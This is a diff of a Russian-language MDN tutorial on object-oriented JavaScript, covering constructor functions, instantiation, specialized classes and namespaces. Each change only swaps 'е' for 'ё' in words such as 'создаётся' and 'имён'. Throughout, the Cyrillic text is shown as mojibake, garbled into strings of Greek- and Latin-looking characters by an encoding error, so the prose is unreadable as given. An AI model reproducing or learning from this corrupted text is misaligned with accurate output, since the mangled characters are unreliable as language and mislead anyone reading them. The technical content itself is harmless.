+<p>ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ ΠΌΠΎΠ³ΡƒΡ‚ ΡΠΎΠ΄Π΅Ρ€ΠΆΠ°Ρ‚ΡŒ Π΄Π°Π½Π½Ρ‹Π΅ ΠΈ ΠΊΠΎΠ΄, ΠΏΡ€Π΅Π΄ΡΡ‚Π°Π²Π»ΡΡŽΡ‰ΠΈΠ΅ ΠΈΠ½Ρ„ΠΎΡ€ΠΌΠ°Ρ†ΠΈΡŽ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ Π²Ρ‹ ΠΏΡ‹Ρ‚Π°Π΅Ρ‚Π΅ΡΡŒ ΡΠΌΠΎΠ΄Π΅Π»ΠΈΡ€ΠΎΠ²Π°Ρ‚ΡŒ, Π° Ρ‚Π°ΠΊΠΆΠ΅ ΠΎ Ρ‚ΠΎΠΌ, ΠΊΠ°ΠΊΠΈΠ΅ Ρƒ этих ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ² Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π±Ρ‹Ρ‚ΡŒ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½Ρ‹Π΅ возмоТности ΠΈΠ»ΠΈ ΠΏΠΎΠ²Π΅Π΄Π΅Π½ΠΈΠ΅. Π”Π°Π½Π½Ρ‹Π΅ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° (Π° часто Ρ‚Π°ΠΊ ΠΆΠ΅ ΠΈ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ) ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Ρ‚ΠΎΡ‡Π½ΠΎ сохранСны (ΠΎΡ„ΠΈΡ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Β "<strong>инкапсулированы"</strong>) Π²Π½ΡƒΡ‚Ρ€ΠΈ ΠΏΠ°ΠΊΠ΅Ρ‚Π° ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, упрощая структуру ΠΈ доступ ΠΊ Π½ΠΈΠΌ. ΠŸΠ°ΠΊΠ΅Ρ‚Ρƒ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ присвоСно опрСдСлённоС имя, Π½Π° ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΌΠΎΠΆΠ½ΠΎ ΡΠΎΡΠ»Π°Ρ‚ΡŒΡΡ ΠΈ ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ ΠΈΠ½ΠΎΠ³Π΄Π° Π½Π°Π·Ρ‹Π²Π°ΡŽΡ‚Β <strong>пространством ΠΈΠΌΠ΅Π½.</strong>Β ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΡˆΠΈΡ€ΠΎΠΊΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ΡΡ Π² качСствС Ρ…Ρ€Π°Π½ΠΈΠ»ΠΈΡ‰ Π΄Π°Π½Π½Ρ‹Ρ…, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ ΠΌΠΎΠ³ΡƒΡ‚ Π±Ρ‹Ρ‚ΡŒ Π»Π΅Π³ΠΊΠΎ ΠΎΡ‚ΠΏΡ€Π°Π²Π»Π΅Π½Ρ‹ ΠΏΠΎ сСти.</p>
<h3 id="ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅_шаблона_ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°">ΠžΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ шаблона ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°</h3>
@@ -56,7 +56,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Object-oriented_JS
<p><img alt="" src="https://mdn.mozillademos.org/files/13883/MDN-Graphics-instantiation-2.png" style="display: block; height: 743px; margin: 0px auto; width: 700px;"></p>
-<p>Когда экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° создаСтся ΠΈΠ· класса, для Π΅Π³ΠΎ создания выполняСтся <strong>функция-конструктор </strong>класса. Π­Ρ‚ΠΎΡ‚ процСсс создания экзСмпляра ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈΠ· класса называСтся <strong>созданиС экзСмпляра (instantiation)</strong> β€” ΠΈΠ· класса <strong>создаСтся</strong> экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</p>
+<p>Когда экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° создаётся ΠΈΠ· класса, для Π΅Π³ΠΎ создания выполняСтся <strong>функция-конструктор </strong>класса. Π­Ρ‚ΠΎΡ‚ процСсс создания экзСмпляра ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° ΠΈΠ· класса называСтся <strong>созданиС экзСмпляра (instantiation)</strong> β€” ΠΈΠ· класса <strong>создаётся</strong> экзСмпляр ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.</p>
<h3 id="Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅_классы">Π‘ΠΏΠ΅Ρ†ΠΈΠ°Π»ΠΈΠ·ΠΈΡ€ΠΎΠ²Π°Π½Π½Ρ‹Π΅ классы</h3>
@@ -64,7 +64,7 @@ original_slug: Learn/JavaScript/ΠžΠ±ΡŠΠ΅ΠΊΡ‚Ρ‹/Object-oriented_JS
<p><img alt="" src="https://mdn.mozillademos.org/files/13881/MDN-Graphics-inherited-3.png" style="display: block; height: 743px; margin: 0px auto; width: 700px;"></p>
-<p>Π­Ρ‚ΠΎ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ β€” ΠΏΡ€Π΅ΠΏΠΎΠ΄Π°Π²Π°Ρ‚Π΅Π»ΠΈ ΠΈ студСнты ΠΈΠΌΠ΅ΡŽΡ‚ ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΠ±Ρ‰ΠΈΡ… характСристик, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ имя, ΠΏΠΎΠ» ΠΈ возраст, ΠΈΒ ΡƒΠ΄ΠΎΠ±Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈΡ… Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈ Ρ‚Ρƒ ΠΆΠ΅ характСристику ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ Π² Ρ€Π°Π·Π½Ρ‹Ρ… классах, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ этой характСристики Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌΒ ΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΡ‚Π²Π΅ ΠΈΠΌΠ΅Π½. НапримСр, привСтствиС студСнта ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π² Ρ„ΠΎΡ€ΠΌΠ΅ "Yo, I'm [firstName]" (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <em>Yo, I'm Sam</em>), Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ ΡƒΡ‡ΠΈΡ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ΅, Ρ‚Π°ΠΊΠΎΠ΅ ΠΊΠ°ΠΊ "Hello, my name is [Prefix] [lastName], and I teach [Subject]." (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <em>Hello, My name is Mr Griffiths, and I teach Chemistry</em>).</p>
+<p>Π­Ρ‚ΠΎ Π΄Π΅ΠΉΡΡ‚Π²ΠΈΡ‚Π΅Π»ΡŒΠ½ΠΎ ΠΏΠΎΠ»Π΅Π·Π½ΠΎ β€” ΠΏΡ€Π΅ΠΏΠΎΠ΄Π°Π²Π°Ρ‚Π΅Π»ΠΈ ΠΈ студСнты ΠΈΠΌΠ΅ΡŽΡ‚ ΠΌΠ½ΠΎΠ³ΠΎ ΠΎΠ±Ρ‰ΠΈΡ… характСристик, Ρ‚Π°ΠΊΠΈΡ… ΠΊΠ°ΠΊ имя, ΠΏΠΎΠ» ΠΈ возраст, ΠΈΒ ΡƒΠ΄ΠΎΠ±Π½ΠΎ ΠΎΠΏΡ€Π΅Π΄Π΅Π»ΠΈΡ‚ΡŒ ΠΈΡ… Ρ‚ΠΎΠ»ΡŒΠΊΠΎ ΠΎΠ΄ΠΈΠ½ Ρ€Π°Π·. Π’Ρ‹ ΠΌΠΎΠΆΠ΅Ρ‚Π΅ Ρ‚Π°ΠΊΠΆΠ΅ Π·Π°Π΄Π°Ρ‚ΡŒ ΠΎΠ΄Π½Ρƒ ΠΈ Ρ‚Ρƒ ΠΆΠ΅ характСристику ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎ Π² Ρ€Π°Π·Π½Ρ‹Ρ… классах, ΠΏΠΎΡΠΊΠΎΠ»ΡŒΠΊΡƒ ΠΊΠ°ΠΆΠ΄ΠΎΠ΅ ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ этой характСристики Π±ΡƒΠ΄Π΅Ρ‚ Π½Π°Ρ…ΠΎΠ΄ΠΈΡ‚ΡŒΡΡ Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌΒ ΠΏΡ€ΠΎΡΡ‚Ρ€Π°Π½ΡΡ‚Π²Π΅ ΠΈΠΌΡ‘Π½. НапримСр, привСтствиС студСнта ΠΌΠΎΠΆΠ΅Ρ‚ Π±Ρ‹Ρ‚ΡŒ Π² Ρ„ΠΎΡ€ΠΌΠ΅ "Yo, I'm [firstName]" (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <em>Yo, I'm Sam</em>), Π² Ρ‚ΠΎ врСмя ΠΊΠ°ΠΊ ΡƒΡ‡ΠΈΡ‚Π΅Π»ΡŒ ΠΌΠΎΠΆΠ΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Ρ‡Ρ‚ΠΎ-Ρ‚ΠΎ Π±ΠΎΠ»Π΅Π΅ Ρ„ΠΎΡ€ΠΌΠ°Π»ΡŒΠ½ΠΎΠ΅, Ρ‚Π°ΠΊΠΎΠ΅ ΠΊΠ°ΠΊ "Hello, my name is [Prefix] [lastName], and I teach [Subject]." (Π½Π°ΠΏΡ€ΠΈΠΌΠ΅Ρ€ <em>Hello, My name is Mr Griffiths, and I teach Chemistry</em>).</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅</strong>: Если Π²Π°ΠΌ интСрСсно, сущСствуСт ΡΠΏΠ΅Ρ†ΠΈΠ°Π»ΡŒΠ½Ρ‹ΠΉ Ρ‚Π΅Ρ€ΠΌΠΈΠ½Β <strong>Polymorphism (ΠŸΠΎΠ»ΠΈΠΌΠΎΡ€Ρ„ΠΈΠ·ΠΌ)</strong> - это Π·Π°Π±Π°Π²Π½ΠΎΠ΅ слово, ΠΎΠ±ΠΎΠ·Π½Π°Ρ‡Π°ΡŽΡ‰Π΅Π΅Β Ρ€Π΅Π°Π»ΠΈΠ·Π°Ρ†ΠΈΡŽΒ Ρ‚ΠΎΠΉΒ ΠΆΠ΅ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΠΈΒ Π΄Π»Ρ Π½Π΅ΡΠΊΠΎΠ»ΡŒΠΊΠΈΡ… Ρ‚ΠΈΠΏΠΎΠ² ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°.Β </p>
@@ -111,7 +111,7 @@ salva.greeting();</pre>
</li>
</ol>
-<p>Ѐункция-конструктор - это JavaScript вСрсия класса. Π’Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π² Π½Π΅ΠΌ Π΅ΡΡ‚ΡŒ всС ΠΏΡ€ΠΈΠ·Π½Π°ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅ ΠΎΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, хотя ΠΎΠ½ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈ явно Π½Π΅ создаСт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ - ΠΎΠ½ Π² основном просто опрСдСляСт свойства ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово this Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ здСсь, - это в основном Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° создаСтся ΠΎΠ΄ΠΈΠ½ ΠΈΠ· этих экзСмпляров ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², свойство ΠΈΠΌΠ΅Π½ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π²Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ <code>name</code>, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠΌΡƒ Π²Ρ‹Π·ΠΎΠ²Ρƒ конструктора, ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>greeting()</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π½ΠΈ, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹Π·ΠΎΠ²Ρƒ конструктора.</p>
+<p>Ѐункция-конструктор - это JavaScript вСрсия класса. Π’Ρ‹ Π·Π°ΠΌΠ΅Ρ‚ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ Π² Π½Π΅ΠΌ Π΅ΡΡ‚ΡŒ всС ΠΏΡ€ΠΈΠ·Π½Π°ΠΊΠΈ, ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Π΅ Π²Ρ‹ ΠΎΠΆΠΈΠ΄Π°Π΅Ρ‚Π΅ ΠΎΡ‚ Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ, хотя ΠΎΠ½ Π½ΠΈΡ‡Π΅Π³ΠΎ Π½Π΅ Π²ΠΎΠ·Π²Ρ€Π°Ρ‰Π°Π΅Ρ‚ ΠΈ явно Π½Π΅ создаёт ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ - ΠΎΠ½ Π² основном просто опрСдСляСт свойства ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Ρ‹. Π’Ρ‹ Ρ‚Π°ΠΊΠΆΠ΅ ΡƒΠ²ΠΈΠ΄ΠΈΡ‚Π΅, Ρ‡Ρ‚ΠΎ ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово this Ρ‚Π°ΠΊΠΆΠ΅ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ здСсь, - это в основном Π³ΠΎΠ²ΠΎΡ€ΠΈΡ‚ ΠΎ Ρ‚ΠΎΠΌ, Ρ‡Ρ‚ΠΎ всякий Ρ€Π°Π·, ΠΊΠΎΠ³Π΄Π° создаётся ΠΎΠ΄ΠΈΠ½ ΠΈΠ· этих экзСмпляров ΠΎΠ±ΡŠΠ΅ΠΊΡ‚ΠΎΠ², свойство ΠΈΠΌΠ΅Π½ΠΈ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π±ΡƒΠ΄Π΅Ρ‚ Ρ€Π°Π²Π½ΠΎ Π·Π½Π°Ρ‡Π΅Π½ΠΈΡŽ <code>name</code>, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠΌΡƒ Π²Ρ‹Π·ΠΎΠ²Ρƒ конструктора, ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Β <code>greeting()</code> Π±ΡƒΠ΄Π΅Ρ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ ΠΈΠΌΠ΅Π½ΠΈ, ΠΏΠ΅Ρ€Π΅Π΄Π°Π½Π½ΠΎΠ΅ Ρ‚Π°ΠΊΠΆΠ΅ Π²Ρ‹Π·ΠΎΠ²Ρƒ конструктора.</p>
<div class="note">
<p><strong>ΠŸΡ€ΠΈΠΌΠ΅Ρ‡Π°Π½ΠΈΠ΅:</strong> Имя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ конструктора ΠΎΠ±Ρ‹Ρ‡Π½ΠΎ начинаСтся с Π·Π°Π³Π»Π°Π²Π½ΠΎΠΉ Π±ΡƒΠΊΠ²Ρ‹ - это соглашСниС ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ для упрощСния распознавания Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΉ конструктора Π² ΠΊΠΎΠ΄Π΅.</p>
@@ -132,14 +132,14 @@ person2.greeting()</pre>
</li>
</ol>
-<p>ΠšΡ€ΡƒΡ‚ΠΎ! Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠ°ΠΊ Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅, Ρƒ нас Π΅ΡΡ‚ΡŒ Π΄Π²Π° Π½ΠΎΠ²Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π½Π° страницС, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… хранится Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ пространствС ΠΈΠΌΠ΅Π½ - ΠΏΡ€ΠΈ доступС ΠΊ ΠΈΡ… свойствам ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒ Π²Ρ‹Π·ΠΎΠ²Ρ‹ с <code>person1</code> ΠΈΠ»ΠΈ <code>person2</code>; Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, содСрТащаяся Π²Π½ΡƒΡ‚Ρ€ΠΈ, Π°ΠΊΠΊΡƒΡ€Π°Ρ‚Π½ΠΎ ΡƒΠΏΠ°ΠΊΠΎΠ²Π°Π½Π°, поэтому ΠΎΠ½Π° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ΠΎΠ²Π°Ρ‚ΡŒ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ функциями. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Ρƒ Π½ΠΈΡ… Π΅ΡΡ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ свойство <code>name</code> ΠΈ <code>greeting()</code>. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ своС собствСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>name</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ‹Π»ΠΎ присвоСно ΠΈΠΌ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ созданы; это ΠΎΠ΄Π½Π° ΠΈΠ· ΠΏΡ€ΠΈΡ‡ΠΈΠ½, ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>this</code>, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свои собствСнныС значСния, Π° Π½Π΅ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠ΅.</p>
+<p>ΠšΡ€ΡƒΡ‚ΠΎ! Π’Π΅ΠΏΠ΅Ρ€ΡŒ, ΠΊΠ°ΠΊ Π²Ρ‹ Π²ΠΈΠ΄ΠΈΡ‚Π΅, Ρƒ нас Π΅ΡΡ‚ΡŒ Π΄Π²Π° Π½ΠΎΠ²Ρ‹Ρ… ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π° Π½Π° страницС, ΠΊΠ°ΠΆΠ΄Ρ‹ΠΉ ΠΈΠ· ΠΊΠΎΡ‚ΠΎΡ€Ρ‹Ρ… хранится Π² ΠΎΡ‚Π΄Π΅Π»ΡŒΠ½ΠΎΠΌ пространствС ΠΈΠΌΡ‘Π½ - ΠΏΡ€ΠΈ доступС ΠΊ ΠΈΡ… свойствам ΠΈ ΠΌΠ΅Ρ‚ΠΎΠ΄Π°ΠΌ Π²Ρ‹ Π΄ΠΎΠ»ΠΆΠ½Ρ‹ Π½Π°Ρ‡ΠΈΠ½Π°Ρ‚ΡŒ Π²Ρ‹Π·ΠΎΠ²Ρ‹ с <code>person1</code> ΠΈΠ»ΠΈ <code>person2</code>; Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΎΠ½Π°Π»ΡŒΠ½ΠΎΡΡ‚ΡŒ, содСрТащаяся Π²Π½ΡƒΡ‚Ρ€ΠΈ, Π°ΠΊΠΊΡƒΡ€Π°Ρ‚Π½ΠΎ ΡƒΠΏΠ°ΠΊΠΎΠ²Π°Π½Π°, поэтому ΠΎΠ½Π° Π½Π΅ Π±ΡƒΠ΄Π΅Ρ‚ ΠΊΠΎΠ½Ρ„Π»ΠΈΠΊΡ‚ΠΎΠ²Π°Ρ‚ΡŒ с Π΄Ρ€ΡƒΠ³ΠΈΠΌΠΈ функциями. Π’Π΅ΠΌ Π½Π΅ ΠΌΠ΅Π½Π΅Π΅, Ρƒ Π½ΠΈΡ… Π΅ΡΡ‚ΡŒ ΠΎΠ΄Π½ΠΎ ΠΈ Ρ‚ΠΎ ΠΆΠ΅ свойство <code>name</code> ΠΈ <code>greeting()</code>. ΠžΠ±Ρ€Π°Ρ‚ΠΈΡ‚Π΅ Π²Π½ΠΈΠΌΠ°Π½ΠΈΠ΅, Ρ‡Ρ‚ΠΎ ΠΎΠ½ΠΈ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΡŽΡ‚ своё собствСнноС Π·Π½Π°Ρ‡Π΅Π½ΠΈΠ΅ <code>name</code>, ΠΊΠΎΡ‚ΠΎΡ€ΠΎΠ΅ Π±Ρ‹Π»ΠΎ присвоСно ΠΈΠΌ, ΠΊΠΎΠ³Π΄Π° ΠΎΠ½ΠΈ Π±Ρ‹Π»ΠΈ созданы; это ΠΎΠ΄Π½Π° ΠΈΠ· ΠΏΡ€ΠΈΡ‡ΠΈΠ½, ΠΏΠΎΡ‡Π΅ΠΌΡƒ ΠΎΡ‡Π΅Π½ΡŒ Π²Π°ΠΆΠ½ΠΎ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ <code>this</code>, Ρ‚Π°ΠΊΠΈΠΌ ΠΎΠ±Ρ€Π°Π·ΠΎΠΌ ΠΎΠ½ΠΈ Π±ΡƒΠ΄ΡƒΡ‚ ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΠΎΠ²Π°Ρ‚ΡŒ свои собствСнныС значСния, Π° Π½Π΅ ΠΊΠ°ΠΊΠΈΠ΅-Π»ΠΈΠ±ΠΎ Π΄Ρ€ΡƒΠ³ΠΈΠ΅.</p>
<p>Π”Π°Π²Π°ΠΉΡ‚Π΅ снова посмотрим Π½Π° Π²Ρ‹Π·ΠΎΠ²Ρ‹ конструктора:</p>
<pre class="brush: js notranslate">let person1 = new Person('Bob');
let person2 = new Person('Sarah');</pre>
-<p>Π’ ΠΊΠ°ΠΆΠ΄ΠΎΠΌ случаС ΠΊΠ»ΡŽΡ‡Π΅Π²ΠΎΠ΅ слово <code>new</code> ΠΈΡΠΏΠΎΠ»ΡŒΠ·ΡƒΠ΅Ρ‚ΡΡ, Ρ‡Ρ‚ΠΎΠ±Ρ‹ ΡΠΎΠΎΠ±Ρ‰ΠΈΡ‚ΡŒ Π±Ρ€Π°ΡƒΠ·Π΅Ρ€Ρƒ, Ρ‡Ρ‚ΠΎ ΠΌΡ‹ Ρ…ΠΎΡ‚ΠΈΠΌ ΡΠΎΠ·Π΄Π°Ρ‚ΡŒ экзСмпляр Π½ΠΎΠ²ΠΎΠ³ΠΎ ΠΎΠ±ΡŠΠ΅ΠΊΡ‚Π°, Π·Π° ΠΊΠΎΡ‚ΠΎΡ€Ρ‹ΠΌ слСдуСт имя Ρ„ΡƒΠ½ΠΊΡ†ΠΈΠΈ с Π΅Π΅ Π½Π΅ΠΎΠ±Ρ…ΠΎΠ΄ΠΈΠΌΡ‹ΠΌΠΈ ΠΏΠ°Ρ€Π°ΠΌΠ΅Ρ‚Ρ€Π°ΠΌΠΈ, содСрТащимися Π² ΠΊΡ€ΡƒΠ³Π»Ρ‹Ρ… скобках, ΠΈ Ρ€Π΅Π·ΡƒΠ»ΡŒΡ‚Π°Ρ‚ сохраняСтся Π² ΠΏΠ΅Ρ€Π΅ΠΌΠ΅Π½Π½ΠΎΠΉ - ΠΎΡ‡Π΅Π½ΡŒ ΠΏΠΎΡ…ΠΎΠΆΠ΅Β Π½Π° Ρ‚ΠΎ, ΠΊΠ°ΠΊ вызываСтся стандартная функция. ΠšΠ°ΠΆΠ΄Ρ‹ΠΉ экзСмпляр создаСтся Π² соотвСтствии с этим ΠΎΠΏΡ€Π΅Π΄Π΅Π»Π΅Π½ΠΈΠ΅ΠΌ:</p>
